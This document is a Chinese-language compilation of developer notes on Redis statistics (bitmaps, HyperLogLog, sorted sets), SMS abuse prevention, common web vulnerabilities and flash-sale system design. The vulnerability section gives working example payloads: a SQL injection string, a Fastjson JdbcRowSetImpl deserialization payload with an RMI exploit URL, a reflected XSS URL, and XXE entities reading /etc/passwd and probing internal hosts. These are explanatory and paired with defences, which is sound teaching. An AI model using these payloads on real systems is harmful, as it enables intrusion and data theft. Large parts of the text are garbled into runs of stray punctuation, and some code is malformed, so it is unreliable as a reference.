设置或者清空 key 的 value 在 offset 处的 bit 值（只能是 0 或者 1）
- **GETBIT 命令**
```
GETBIT < key > < offset >
```
获取 key 的 value 在 offset 处的 bit 位的值，当 key 不存在时，返回 0。
假如我们要判断 ID = 10086 的用户的登陆情况：
- 第一步，执行以下指令，表示用户已登录。
```
SETBIT login_status 10086 1
```
- 第二步，检查该用户是否登陆，返回值 1 表示已登录。
```
GETBIT login_status 10086
```
- 第三步，登出，将 offset 对应的 value 设置成 0。
```
SETBIT login_status 10086 0
```
### 用户每个月的签到情况
在签到统计中，每个用户每天的签到用 1 个 bit 位表示，一年的签到只需要 365 个 bit 位。一个月最多只有 31 天，只需要 31 个 bit 位即可。
比如统计编号 89757 的用户在 2021 年 5 月份的打卡情况要如何进行？ `uid:sign:{userId}:{yyyyMM}` ，月份的每一天的值 - 1 可以作为 offset（ `offset = 日期 - 1` ）。
- 第一步，执行下面指令表示记录用户在 2021 年 5 月 16 号打卡。
```
SETBIT uid:sign:89757:202105 15 1
```
- 第二步，判断编号 89757 用户在 2021 年 5 月 16 号是否打卡。
```
GETBIT uid:sign:89757:202105 15
```
- 第三步，统计该用户在 5 月份的打卡次数，使用 `BITCOUNT` 指令。该指令用于统计给定的 bit 数组中，值 = 1 的 bit 位的数量。
```
BITCOUNT uid:sign:89757:202105
```
这样我们就可以实现用户每个月的打卡情况了，是不是很赞。
**如何统计这个月首次打卡时间呢？**
Redis 提供了 `BITPOS key bitValue [start] [end]` 指令，返回数据表示 Bitmap 中第一个值为 `bitValue` 的 offset 位置。在默认情况下， 命令将检测整个位图， 用户可以通过可选的 `start` 参数和 `end` 参数指定要检测的范围。所以我们可以通过执行以下指令来获取 userID = 89757 在 2021 年 5 月份**首次打卡**日期：
```
BITPOS uid:sign:89757:202105 1
```
需要注意的是，我们需要将返回的 value + 1 ，因为 offset 从 0 开始。
### 连续签到用户总数
在记录了一个亿的用户连续 7 天的打卡数据，如何统计出这连续 7 天连续打卡用户总数呢？
我们把每天的日期作为 Bitmap 的 key， ， ， `BITCOUNT` 统计 bit = 1 的个数便得到了连续打卡 7 天的用户总数了。
Redis 提供了 `BITOP operation destkey key [key ...]` 这个指令用于对一个或者多个 键 = key 的 Bitmap 进行位元操作。
`opration` 可以是 `and` 、`OR`、`NOT`、`XOR`。当 BITOP 处理不同长度的字符串时，较短的那个字符串所缺少的部分会被看作 `0` 。空的 `key` 也被看作是包含 `0` 的字符串序列。便于理解，如下图所示：
3 个 Bitmap，
```
// 与操作
BITOP AND destmap bitmap:01 bitmap:02 bitmap:03
// 统计 bit 位 = 1 的个数
BITCOUNT destmap
```
简单计算下 一个一亿个位的 Bitmap占用的内存开销， （ ） ，
## 基数统计
基数统计： ， （ ）
实现基数统计最直接的方法， （ ） ， ， ； ， ，
另外， ， ？ ， `HyperLogLog` 数据结构就是用来解决种种场景的统计问题。`HyperLogLog` 是一种不精确的去重基数方案，它的统计规则是基于概率实现的，标准误差 0.81%，这样的精度足以满足 UV 统计需求了。
### 网站的 UV
#### Set方案
一个用户一天内多次访问一个网站只能算作一次，所以很容易就想到通过 Redis 的 Set 集合来实现。用户编号 89757 访问 「Redis 为什么这么快 」时，我们将这个信息放到 Set 中。
```shell
SADD Redis为什么这么快:uv 89757
```
当用户编号 89757 多次访问「Redis 为什么这么快」页面， `SCARD` 命令， （ ）
```
SCARD Redis为什么这么快:uv
```
#### Hash方案
可以利用 Hash 类型实现，将用户 ID 作为 Hash 集合的 key， ， ， `HLEN` 命令统计 Hash 集合中的元素个数就是 UV。如下：
```
HSET redis集群:uv userId:89757 1
// 统计 UV
HLEN redis集群
```
#### HyperLogLog方案
Set 虽好，如果文章非常火爆达到千万级别，一个 Set 就保存了千万个用户的 ID， ， ？
利用 Redis 提供的 `HyperLogLog` 高级数据结构（不要只知道 Redis 的五种基础数据类型了）。这是一种用于基数统计的数据集合类型，即使数据量很大，计算基数需要的空间也是固定的。每个 `HyperLogLog` 最多只需要花费 12KB 内存就可以计算 2 的 64 次方个元素的基数。Redis 对 `HyperLogLog` 的存储进行了优化，在计数比较小的时候，存储空间采用系数矩阵，占用空间很小。只有在计数很大，稀疏矩阵占用的空间超过了阈值才会转变成稠密矩阵，占用 12KB 空间。
- **PFADD**：将访问页面的每个用户 ID 添加到 `HyperLogLog` 中。
```
PFADD Redis主从同步原理:uv userID1 userID 2 useID3
```
- **PFCOUNT**：利用 `PFCOUNT` 获取 「Redis主从同步原理」页面的 UV值。
```
PFCOUNT Redis主从同步原理:uv
```
- **PFMERGE**：将多个 `HyperLogLog` 合并在一起形成一个新的 `HyperLogLog` 值。
```
PFMERGE destkey sourcekey [sourcekey ...]
```
** 使用场景**
比如在网站中我们有两个内容差不多的页面，运营说需要这两个页面的数据进行合并。其中页面的 UV 访问量也需要合并，那这个时候 `PFMERGE` 就可以派上用场了，也就是**同样的用户访问这两个页面则只算做一次**。
如下所示：
```
PFADD Redis数据 user1 user2 user3
PFADD MySQL数据 user1 user2 user4
PFMERGE 数据库 Redis数据 MySQL数据
PFCOUNT 数据库 // 返回值 = 4
```
将多个 HyperLogLog 合并（ ） ， （ ） ，
## 排序统计
Redis的4个集合类型中（ ） ，
- List：
- Sorted Set： ， （ ， ）
### 最新评论列表
**可以利用List插入的顺序排序实现评论列表**。比如微信公众号的后台回复列表（不要杠，举例子），每一公众号对应一个 List， ，
```
LPUSH 码哥字节 1 2 3 4 5 6
```
接着再用 `LRANGE key star stop` 获取列表指定区间内的元素。
```
> LRANGE 码哥字节 0 4
1) "6"
2) "5"
3) "4"
4) "3"
5) "2"
```
**注意**：并不是所有最新列表都能用 List 实现， ， `List =｛ ｝ ， ，
```
LPUSH 码哥字节 D C B A
```
展示第一页最新 2 个评论，获取到 A、B：
```
LRANGE 码哥字节 0 1
1) "A"
2) "B"
```
按照我们想要的逻辑来说，第二页可通过 `LRANGE 码哥字节 2 3` 获取 C， ， ， `LPUSH 码哥字节 E` 插入到 List 队头， ｛ `LRANGE 码哥字节 2 3` 获取第二页评论发现， B 又出现了。
```
LRANGE 码哥字节 2 3
1) "B"
2) "C"
```
出现这种情况的原因在于 List 是利用元素所在的位置排序，一旦有新元素插入，`List = ｛ ， ， ， ， ｝
**小结**
只有不需要分页（比如每次都只取列表的前 5 个元素）或者更新频率低（比如每天凌晨统计更新一次）的列表才适合用 List 类型实现。对于需要分页并且会频繁更新的列表，需用使用有序集合 Sorted Set 类型实现。另外， ，
### 排行榜
对于最新列表的场景，
比如要一周音乐榜单，我们需要实时更新播放量，并且需要分页展示。除此以外，排序是根据播放量来决定的，这个时候 List 就无法满足了。我们可以将音乐 ID 保存到 Sorted Set 集合中，`score` 设置成每首歌的播放量，该音乐每播放一次则设置 score = score +1。
- **ZADD**
比如我们将《青花瓷》和《花田错》播放量添加到 musicTop 集合中：
```
ZADD musicTop 100000000 青花瓷 8999999 花田错
```
- **ZINCRBY**
《青花瓷》每播放一次就通过 `ZINCRBY` 指令将 score + 1。
```
> ZINCRBY musicTop 1 青花瓷
100000001
```
- **ZRANGEBYSCORE**
最后我们需要获取 musicTop ** 前十**播放量音乐榜单，目前最大播放量是 N ，可通过如下指令获取：
```
ZRANGEBYSCORE musicTop N-9 N WITHSCORES
```
** 注意**：可是这个 N 我们怎么获取呀？
- **ZREVRANGE**
可通过 `ZREVRANGE key start stop [WITHSCORES]` 指令。其中元素的排序按 `score` 值递减(从大到小)来排列。具有相同 `score` 值的成员按字典序的逆序(reverse lexicographical order)排列。
```
> ZREVRANGE musicTop 0 0 WITHSCORES
1) "青花瓷"
2) 100000000
```
**小结**
即使集合中的元素频繁更新， `ZRANGEBYSCORE` 命令准确地获取到按序排列的数据。**在面对需要展示最新列表、排行榜等场景时，如果数据更新频繁或者需要分页显示，建议优先考虑使用 Sorted Set。**
## 聚合统计
指的就是统计多个集合元素的聚合结果，比如说：
- 统计多个元素的共有数据（交集）
- 统计两个集合其中的一个独有元素（差集统计）
- 统计多个集合的所有元素（并集统计）
什么样的场景会用到交集、差集、并集呢？
Redis 的 Set 类型支持集合内的增删改查，底层使用了 Hash 数据结构，无论是 add、remove 都是 O(1) 时间复杂度。并且支持多个集合间的交集、并集、差集操作，利用这些集合操作，解决上边提到的统计问题。
### 交集-共同好友
比如 QQ 中的共同好友正是聚合统计中的交集。我们将账号作为 Key， ：
```
SADD user:码哥字节 R大 Linux大神 PHP之父
SADD user:大佬 Linux大神 Python大神 C++菜鸡
```
交集
统计两个用户的共同好友只需要两个 Set 集合的交集，如下命令：
```
SINTERSTORE user:共同好友 user:码哥字节 user:大佬
```
命令的执行后，
### 差集-每日新增好友数
比如，统计某个 App 每日新增注册用户量， `key = user:20210601` set 集合中， `key = user:20210602` 的集合中。
如下指令，执行差集计算并将结果存放到 `user:new` 集合中。
```
SDIFFSTORE user:new user:20210602 user:20210601
```
执行完毕，此时的 user:new 集合将是 2021/06/02 日新增用户量。除此之外，
### 并集-总共新增好友
还是差集的例子，统计 2021/06/01 和 2021/06/02 两天总共新增的用户量，只需要对两个集合执行并集。
```
SUNIONSTORE userid:new user:20210602 user:20210601
```
此时新的集合 userid:new 则是两日新增的好友。
**小结**
Set 的差集、并集和交集的计算复杂度较高，在数据量较大的情况下，如果直接执行这些计算，会导致 Redis 实例阻塞。所以，可以专门部署一个集群用于统计，让它专门负责聚合计算，或者是把数据读取到客户端，在客户端来完成聚合统计，这样就可以规避由于阻塞导致其他服务无法响应。
# 短信服务
## 短信防刷
- **时间限制：
从发送验证码开始， （ ） ， ， ， ， ，
- **手机号限制： ，
对使用同一个手机号码进行注册或者其他发送短信验证码的操作的时候， ， ， ， （ ： ， ） ， ， ，
- **短信验证码限制：
网上还有一种方法说： ， ， ， ， ， ， ，
- **前后端校验：
这种方式比较少人说到， （ ） ， ， ， ，
- **唯一性限制： ，
如果是微信的产品的话， ， ，
- **产品流程限制：分步骤进行**
例如注册的短信验证码使用场景， ， ，
- **图形验证码限制：图形验证通过后再请求接口**
用户输入图形验证码并通过之后，再请求短信接口获取验证码。为了有更好的用户体验，也可以设计成：一开始不需要输入图形验证码，在操作达到一定量之后，才需要输入图形验证码。具体情况请根据具体场景来进行设计。
- **IP及Cookie限制：
使用Cookie或者IP， ， （ ： ） ， ， ， ， ，
- **短信预警机制，做好出问题之后的防护**
以上的方法并不一定能够完全杜绝短信被刷，因此，我们也应该做好短信的预警机制，即当短信的使用量达到一定量之后，向管理员发送预警信息，管理员可以立刻对短信的接口情况进行监控和防护。
# 安全漏洞
我们日常开发中，很多小伙伴容易忽视安全漏洞问题，认为只要正常实现业务逻辑就可以了。其实，**安全性才是最重要的**。本文将跟大家一起学习常见的安全漏洞问题，希望对大家有帮助哈。如果本文有什么错误的话，希望大家提出哈，感谢感谢~
## SQL注入
### 什么是SQL注入？
SQL注入是一种代码注入技术， ， ， ，
### SQL注入是如何攻击的？
举个常见的**业务场景**： ，
这种场景下， ，
```java
name = "田螺"; //前端传过来的
SQL= "select * from staff where name=" + name; //根据前端传过来的name参数，
```
因为SQL是直接拼接的， ，
```mysql
select * from staff where name='' or '1'='1';
```
这个SQL会把所有的员工信息全都查出来了， ，
### 如何预防SQL注入问题
**使用#{}而不是${}**
在MyBatis中,使用`#{}`而不是`${}`，
> - 因为`#{}`是一个参数占位符，对于字符串类型，会自动加上""， ， ，
> - `${}`是一个简单的字符串替换， ， ，
**不要暴露一些不必要的日志或者安全信息，
如果SQL发生异常了， ，
**不相信任何外部输入参数，过滤参数中含有的一些数据库关键词关键词**
可以加个参数校验过滤的方法，过滤`union，
**适当的权限控制**
在你查询信息时， ， ， ， ， ，
## JSON反序列化漏洞
JSON反序列化漏洞——如Fastjson安全漏洞。
### 什么是JSON序列化，
- 序列化：把对象转换为字节序列的过程
- 反序列：
**Json序列化**就是将对象转换成Json格式的字符串，
### JSON 反序列化漏洞是如何被攻击？
不安全的反序列化可以导致远程代码执行、重放攻击、注入攻击或特权升级攻击。之前Fastjson频繁爆出安全漏洞， ，
我们先来看fastjson一个反序列化的简单例子：
```java
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
System.out.println("调用了name方法");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
System.out.println("调用了age方法");
this.age = age;
}
public static void main(String[] args) {
String str = "{\"@type \":\"cn.eovie.bean.User\",\"age\":26,\"name\":\"捡田螺的小男孩\"}";
User user = JSON.parseObject(str,User.class);
}
}
```
运行结果：
```java
调用了age方法
调用了name方法
```
加了`@type`属性就能调用对应对象的`setXXX`方法，而`@type`表示指定反序列化成某个类。如果我们能够找到一个类，而这个类的某个`setXXX`方法中通过我们的精心构造能够完成命令执行，即可达到攻击的目的啦。
> com.sun.rowset.JdbcRowSetImpl 就是类似这么一个类， ，
有兴趣的小伙伴，可以看下它的源代码：
```java
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null & & !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
```
`setDataSourceName` 简单设置了设置了dataSourceName的值， ，
因此，有漏洞的反序列代码实现如下即可：
```java
public class FastjsonTest {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
//JDK 8u121以后版本需要设置改系统变量
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//RMI
String payload2 = "{\"@type \":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
JSONObject.parseObject(payload2);
}
}
```
漏洞复现的流程如下哈：
参考的代码来源这里哈， （ ）
**如何解决json反序列化漏洞问题**
- 可以升级版本， ， ， ，
- 反序列化有fastjson、gson、jackson等等类型，
- 升级+打开safemode
## XSS攻击
### 什么是XSS？
XSS 攻击全称跨站脚本攻击（ ） ， ， ， ， ， ：
### XSS是如何攻击的？
拿反射型举个例子吧，流程图如下：
我们搞点简单代码样例吧， ：
```xml
< input type = "text" name = "name" / >
< input type = "submit" value = "搜索" onclick = "http://127.0.0.1/search?name=" >
< / body >
```
- 用户输入搜索信息， ，
```java
http://127.0.0.1/search?keyword="< a href = "http://www.baidu.com" > < script > alert ( 'XSS' ) ; < / script > < / a >
```
- 当用户打开带有恶意代码的URL的时候， ，
- 用户浏览器接收到响应后执行解析，其中的恶意代码也会被执行到
- 这里的链接我写的是百度搜索页，实际上黑客攻击的时候，是引诱用户输入某些重要信息，然后跳到他们自己的服务器，以窃取用户提交的内容信息
### 如何解决XSS攻击问题
- 不相信用户的输入，对输入进行过滤，过滤标签等，只允许合法值
- HTML 转义
- 对于链接跳转，如`< a href = "xxx" ` 等，要校验内容，禁止以 script 开头的非法链接
- 限制输入长度等等
## CSRF攻击
### 什么是CSRF 攻击？
CSRF， （ ： ） ， ， ， （ ） ， ，
### CSRF是如何攻击的呢？
我们来看下这个例子：
1. Tom 登陆银行， ，
2. 黑客Jerry将伪造的转账请求，
3. Tom在银行网站保持登陆的情况下，
4. 将伪造的转账请求连同身份认证信息，发送到银行网站
5. 银行网站看到身份认证信息， ，
### 如何解决CSRF攻击
- 检查Referer字段。HTTP头中有一个Referer字段，
- 添加校验token
## 文件上传下载漏洞
### 文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚本文件， ，
**解决办法**一般就是：
- 限制服务器相关文件目录的权限
- 校验上传的文件，如后缀名 禁止上传恶意代码的文件
- 尽量禁止使用前端上传的文件名
### 文件下载漏洞
文件下载漏洞，举个例子，使用 .. 等字符，使应用读取到指定目录之外的其他目录中的文件内容，从而可能读取到服务器的其他相关重要信息。
## 敏感数据泄露
这个相对比较好理解， ， ， ， ， ， ，
## XXE 漏洞
### 什么是XXE
XXE就是XML外部实体注入。当允许引用外部实体时， ，
### XXE三种攻击场景
- 场景1. 攻击者尝试从服务端提取数据
```xml
<?xml version="1.0"?>
< !DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
]>
< foo > &xxe; < / foo >
```
- 场景2. 攻击者通过将上面的实体行更改为一下内容来探测服务器的专用网络
```xml
<!ENTITY xxe SYSTEM "https://192.168.1.1/private"> ]>
```
- 场景3. 攻击者通过恶意文件执行拒绝服务攻击
```xml
<!ENTITY xxe SYSTEM "file:///dev/random"> ]>
```
### 如何防御XXE
- 使用开发语言提供的禁用外部实体的方法
- 过滤用户提交的XML数据， < !DOCTYPE和< !ENTITY等关键词
## DDoS 攻击
### 什么是DDos攻击
DDoS 攻击，英文全称是 Distributed Denial of Service， ， ，
> 我开了一家有五十个座位的重庆火锅店，由于用料上等，童叟无欺。平时门庭若市，生意特别红火，而对面二狗家的火锅店却无人问津。二狗为了对付我，想了一个办法，叫了五十个人来我的火锅店坐着却不点菜，让别的客人无法吃饭。
### 如何应对DDoS攻击？
- **高防服务器**，即能独立硬防御 50Gbps 以上的服务器，能够帮助网站拒绝服务攻击，定期扫描网络主节点等
- **黑名单**
- **DDoS 清洗**
- **CDN 加速**
## 框架或应用漏洞
- Struts 框架漏洞：远程命令执行漏洞和开放重定向漏洞
- QQ Browser 9.6：
- Oracle GlassFish Server：
- WebLogic: 未授权命令执行漏洞
- Hacking Docker：
- WordPress 4.7 / 4.7.1：
## 其它漏洞
### 弱口令
- 空口令
- 口令长度小于8
- 口令不应该为连续的某个字符（ ）
- 账号密码相同（ ： ： ）
- 口令与账号相反（ ： ： ）
- 口令纯数字（ ： ，
- 口令纯字母（ ： ）
- 口令已数字代替字母（ ： ， ）
- 口令采用连续性组合（ ： ， ， ， ）
- 服务/设备默认出厂口令
### 证书有效性验证漏洞
如果不对证书进行有效性验证，
- 如果是客户生成的证书， ， ，
- 证书快过期时，需要提前更换
### 未鉴权等权限相关漏洞
一些比较重要的接口，一般建议鉴权。比如你查询某账号的转账记录，肯定需要先校验该账号是不是操作人旗下的啦。
# 秒杀商品
**设计难点**：并发量大，应用、数据库都承受不了。另外难控制超卖。
**设计要点**：
- 将请求尽量拦截在系统上游， ， ，
- 设置页面缓存，
- 数据用缓存抗，不直接落到数据库
- 读数据的时候不做强一致性教研，写数据的时候再做
- 在每台物理机上也缓存商品信息等等变动不大的相关的数据
- 像商品中的标题和描述这些本身不变的会在秒杀开始之前全量推送到秒杀机器上并一直缓存直到秒杀结束
- 像库存这种动态数据会采用被动失效的方式缓存一定时间（ ） ，
- 如果允许的话，用异步的模式，等缓存都落库之后再返回结果
- 如果允许的话，增加答题教研等验证措施
**其它业务和技术保障措施**：
- **业务隔离**。把秒杀做成一种营销活动，卖家要参加秒杀这种营销活动需要单独报名，从技术上来说，卖家报名后对我们来说就是已知热点，当真正开始时我们可以提前做好预热
- **系统隔离**。系统隔离更多是运行时的隔离，可以通过分组部署的方式和另外 99% 分开。秒杀还申请了单独的域名，目的也是让请求落到不同的集群中
- **数据隔离**。秒杀所调用的数据大部分都是热数据，比如会启用单独 cache 集群或 MySQL 数据库来放热点数据，
- **缓存数据库高可用**。主要流量都落在缓存数据库上，需针对缓存数据库的高可用作保障。研究缓存穿透、雪崩等等问题
## 瞬时高并发
一般在`秒杀时间点`（ ： ） ， ， ， ，
像这种瞬时高并发的场景，传统的系统很难应对，我们需要设计一套全新的系统。可以从以下几个方面入手：
- **页面静态化**
- **CDN加速**
- **缓存**
- **mq异步处理**
- **限流**
- **分布式锁**
## 页面静态化
活动页面是用户流量的第一入口，所以是并发量最大的地方。如果这些流量都能直接访问服务端，恐怕服务端会因为承受不住这么大的压力，而直接挂掉。
活动页面绝大多数内容是固定的，比如：商品名称、商品描述、图片等。为了减少不必要的服务端请求，通常情况下，会对活动页面做`静态化`处理。用户浏览商品等常规操作，并不会请求到服务端。只有到了秒杀时间点，并且用户主动点了秒杀按钮才允许访问服务端。
这样能过滤大部分无效请求。但只做页面静态化还不够， ， ， ， ， ， ？ ， ，
使用户就近获取所需内容，降低网络拥塞，提高用户访问响应速度和命中率。
## 秒杀按钮
大部分用户怕错过`秒杀时间点`，一般会提前进入活动页面。此时看到的`秒杀按钮`是置灰，不可点击的。只有到了秒杀时间点那一时刻，秒杀按钮才会自动点亮，变成可点击的。但此时很多用户已经迫不及待了，通过不停刷新页面，争取在第一时间看到秒杀按钮的点亮。
从前面得知， ， ？ ， ， ， ， ， ： ？ ， ，
当秒杀开始的时候系统会生成一个新的js文件， ， ， ， ，
此外， ， ： ， ， ， ， ，
## 读多写少
在秒杀的过程中，系统一般会先查一下库存是否足够，如果足够才允许下单，写数据库。如果不够，则直接返回该商品已经抢完。由于大量用户抢少量商品，只有极少部分用户能够抢成功，所以绝大部分用户在秒杀时，库存其实是不足的，系统会直接返回该商品已经抢完。这是非常典型的：`读多写少` 的场景。
如果有数十万的请求过来， ， ， ： ， ， ： ，
## 缓存问题
通常情况下， ， ： ， ， ， ， ， ：
根据商品id， ， ， ， ， ， ， ， ，
### 缓存击穿
比如商品A第一次秒杀时， ， ， ， ， ， ， ， ， ， ？ ，
当然，针对这种情况，最好在项目启动之前，先把缓存进行`预热`。即事先把所有的商品，同步到缓存中，这样商品基本都能直接从缓存中获取到，就不会出现缓存击穿的问题了。
是不是上面加锁这一步可以不需要了？表面上看起来，确实可以不需要。但如果缓存中设置的过期时间不对，缓存提前过期了，或者缓存被不小心删除了，如果不加速同样可能出现缓存击穿。其实这里加锁，相当于买了一份保险。
### 缓存穿透
如果有大量的请求传入的商品id， ， ， ， ， ， ？
系统根据商品id， ， ， ， ， ： ？ ， ， ， ， ， ？ ， ？ ，
下次， ， ， ， ，
## 库存问题
对于库存问题看似简单，实则里面还是有些东西。真正的秒杀商品的场景，不是说扣完库存，就完事了，如果用户在一段时间内，还没完成支付，扣减的库存是要加回去的。所以，在这里引出了一个`预扣库存`的概念，预扣库存的主要流程如下：
扣减库存中除了上面说到的`预扣库存`和`回退库存`之外，还需要特别注意的是库存不足和库存超卖问题。
### 数据库扣减库存
使用数据库扣减库存， ， ：
```sql
update product set stock=stock-1 where id=123;
```
这种写法对于扣减库存是没有问题的， ， ？ ， ：
```sql
int stock = mapper.getStockById(123);
if(stock > 0) {
int count = mapper.updateStock(123);
if(count > 0) {
addOrder(123);
}
}
```
大家有没有发现这段代码的问题？ ， ， ， ， ， ， ， ， ， ， ， ， ：
```sql
update product set stock=stock-1 where id=product and stock > 0;
```
在sql最后加上：
### redis扣减库存
redis的`incr`方法是原子性的，可以用该方法扣减库存。伪代码如下：
```java
boolean exist = redisClient.query(productId,userId);
if(exist) {
return -1;
}
int stock = redisClient.queryStock(productId);
if(stock < =0) {
return 0;
}
redisClient.incrby(productId, -1);
redisClient.add(productId,userId);
return 1;
```
代码流程如下：
- 先判断该用户有没有秒杀过该商品，如果已经秒杀过，则直接返回-1
- 查询库存， ， ，
- 如果库存充足， ， ，
估计很多小伙伴， ， ？ ， ， ， ，
```java
boolean exist = redisClient.query(productId,userId);
if(exist) {
return -1;
}
synchronized(this) {
int stock = redisClient.queryStock(productId);
if(stock < =0) {
return 0;
}
redisClient.incrby(productId, -1);
redisClient.add(productId,userId);
}
return 1;
```
加`synchronized`确实能解决库存为负数问题，但是这样会导致接口性能急剧下降，每次查询都需要竞争同一把锁，显然不太合理。为了解决上面的问题，代码优化如下：
```java
boolean exist = redisClient.query(productId,userId);
if(exist) {
return -1;
}
if(redisClient.incrby(productId, -1)< 0 ) {
return 0;
}
redisClient.add(productId,userId);
return 1;
```
该代码主要流程如下：
- 先判断该用户有没有秒杀过该商品，如果已经秒杀过，则直接返回-1
- 扣减库存， ， ， ，
- 如果扣减库存后， ， ，
该方案咋一看， ， ， ， ， ，
### lua脚本扣减库存
lua脚本能够保证原子性的， ， ：
```java
StringBuilder lua = new StringBuilder();
lua.append("if (redis.call('exists', KEYS[1]) == 1) then");
lua.append(" local stock = tonumber(redis.call('get', KEYS[1]));");
lua.append(" if (stock == -1) then");
lua.append(" return 1;");
lua.append(" end;");
lua.append(" if (stock > 0) then");
lua.append(" redis.call('incrby', KEYS[1], -1);");
lua.append(" return stock;");
lua.append(" end;");
lua.append(" return 0;");
lua.append("end;");
lua.append("return -1;");
```
该代码的主要流程如下：
- 先判断商品id是否存在，
- 获取该商品id的库存， ， ，
- 如果库存大于0，
- 如果库存等于0， ，
## 分布式锁
之前我提到过，在秒杀的时候，需要先从缓存中查商品是否存在，如果不存在，则会从数据库中查商品。如果数据库中，则将该商品放入缓存中，然后返回。如果数据库中没有，则直接返回失败。
大家试想一下， ， ， ， ？
### setNx加锁
使用redis的分布式锁，
```java
if (jedis.setnx(lockKey, val) == 1) {
jedis.expire(lockKey, timeout);
}
```
用该命令其实可以加锁， ， ， ， ， ， ？
### set加锁
使用redis的set命令，
```java
String result = jedis.set(lockKey, requestId, "NX", "PX", expireTime);
if ("OK".equals(result)) {
return true;
}
return false;
```
其中：
- lockKey：
- requestId：
- NX： ，
- PX：
- expireTime：
由于该命令只有一步，所以它是原子操作。
### 释放锁
接下来， ： ， ， ？
```java
if (jedis.get(lockKey).equals(requestId)) {
jedis.del(lockKey);
return true;
}
return false;
```
在释放锁的时候， ， ， ？
答： ， ， ， ， ， ，
当然使用lua脚本也能避免该问题：
```java
if redis.call('get', KEYS[1]) == ARGV[1] then
return redis.call('del', KEYS[1])
else
return 0
end
```
它能保证查询锁是否存在和删除锁是原子操作。
### 自旋锁
上面的加锁方法看起来好像没有问题， ， ， ，
在秒杀场景下， ？ ： ， ， ， ，
如何解决这个问题呢？答：使用自旋锁。
```java
try {
Long start = System.currentTimeMillis();
while(true) {
String result = jedis.set(lockKey, requestId, "NX", "PX", expireTime);
if ("OK".equals(result)) {
return true;
}
long time = System.currentTimeMillis() - start;
if (time>=timeout) {
return false;
}
try {
Thread.sleep(50);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
} finally{
unlock(lockKey,requestId);
}
return false;
```
在规定的时间， ， ， ， ， ， ，
### redisson
除了上面的问题之外， ， ， ， ， ，
## mq异步处理
我们都知道在真实的秒杀场景中，有三个核心流程：
而这三个核心流程中， ， ， ， ， ， ， ， ：
如果使用mq， ：
### 消息丢失问题
秒杀成功了， ， ， ： ， ， ？ ：
在生产者发送mq消息之前， ， ， ， ， ， ， ， ， ？ ： ，
用job每隔一段时间去查询消息发送表中状态为待处理的数据，
### 重复消费问题
本来消费者消费消息时， ， ， ， ， ？ ：
消费者读到消息之后，先判断一下消息处理表，是否存在该消息，如果存在，表示是重复消费，则直接返回。如果不存在，则进行下单操作，接着将该消息写入消息处理表中，再返回。有个比较关键的点是：下单和写消息处理表，要放在同一个事务中，保证原子操作。
### 垃圾消息问题
这套方案表面上看起来没有问题， ： ， ， ， ， ， ？
每次在job重试时， ， ， ， ， ， ，
### 延迟消费问题
通常情况下， ， ， ， ， ， ， ， ？ ， ， ， ？ ： ，
下单时消息生产者会先生成订单，此时状态为待支付，然后会向延迟队列中发一条消息。达到了延迟时间，消息消费者读取消息之后，会查询该订单的状态是否为待支付。如果是待支付状态，则会更新订单状态为取消状态。如果不是待支付状态，说明该订单已经支付过了，则直接返回。还有个关键点，用户完成支付之后，会修改订单状态为已支付。
## 如何限流
通过秒杀活动，如果我们运气爆棚，可能会用非常低的价格买到不错的商品（这种概率堪比买福利彩票中大奖）。但有些高手，并不会像我们一样老老实实，通过秒杀页面点击秒杀按钮，抢购商品。他们可能在自己的服务器上，模拟正常用户登录系统，跳过秒杀页面，直接调用秒杀接口。如果是我们手动操作，一般情况下，一秒钟只能点击一次秒杀按钮。
但是如果是服务器，一秒钟可以请求成上千接口。
这种差距实在太明显了，如果不做任何限制，绝大部分商品可能是被机器抢到，而非正常的用户，有点不太公平。所以，我们有必要识别这些非法请求，做一些限制。那么，我们该如何现在这些非法请求呢？目前有两种常用的限流方式：
- 基于nginx限流
- 基于redis限流
### 对同一用户限流
为了防止某个用户，请求接口次数过于频繁，可以只针对该用户做限制。
限制同一个用户id，
### 对同一ip限流
有时候只对某个用户限流是不够的， ，
限制同一个ip， ， ， ，
### 对接口限流
别以为限制了用户和ip就万事大吉， ，
在高并发场景下，这种限制对于系统的稳定性是非常有必要的。但可能由于有些非法请求次数太多，达到了该接口的请求上限，而影响其他的正常用户访问该接口。看起来有点得不偿失。
### 加验证码
相对于上面三种方式，加验证码的方式可能更精准一些，同样能限制用户的访问频次，但好处是不会存在误杀的情况。
通常情况下，用户在请求之前，需要先输入验证码。用户发起请求之后，服务端会去校验该验证码是否正确。只有正确才允许进行下一步操作，否则直接返回，并且提示验证码错误。此外，验证码一般是一次性的，同一个验证码只允许使用一次，不允许重复使用。普通验证码，由于生成的数字或者图案比较简单，可能会被破解。优点是生成速度比较快，缺点是有安全隐患。还有一个验证码叫做：`移动滑块`，它生成速度比较慢，但比较安全，是目前各大互联网公司的首选。
### 提高业务门槛
上面说的加验证码虽然可以限制非法用户请求，但是有些影响用户体验。用户点击秒杀按钮前，还要先输入验证码，流程显得有点繁琐，秒杀功能的流程不是应该越简单越好吗？
其实，有时候达到某个目的，不一定非要通过技术手段，通过业务手段也一样。
